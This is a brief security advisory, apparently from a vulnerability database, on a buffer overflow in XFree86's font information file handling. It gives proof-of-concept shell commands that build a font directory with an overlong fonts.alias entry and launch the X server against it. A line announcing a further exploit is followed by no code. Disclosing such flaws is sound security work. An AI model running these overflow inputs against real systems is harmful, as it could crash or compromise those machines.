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XFree86 Font Information File Buffer Overflow Vulnerability
Currently we are not aware of any working exploits for this issue. The following proof-of-concept example has been provided: From the command line: # cat > fonts.dir <<EOF 1 word.bdf -misc-fixed-medium-r-semicondensed--13-120-75-75-c-60-iso8859-1 EOF # perl -e 'print "0" x 1024 . "A" x 96 . "\n"' > fonts.alias # X :0 -fp $PWD The Following exploit has also been provided: |
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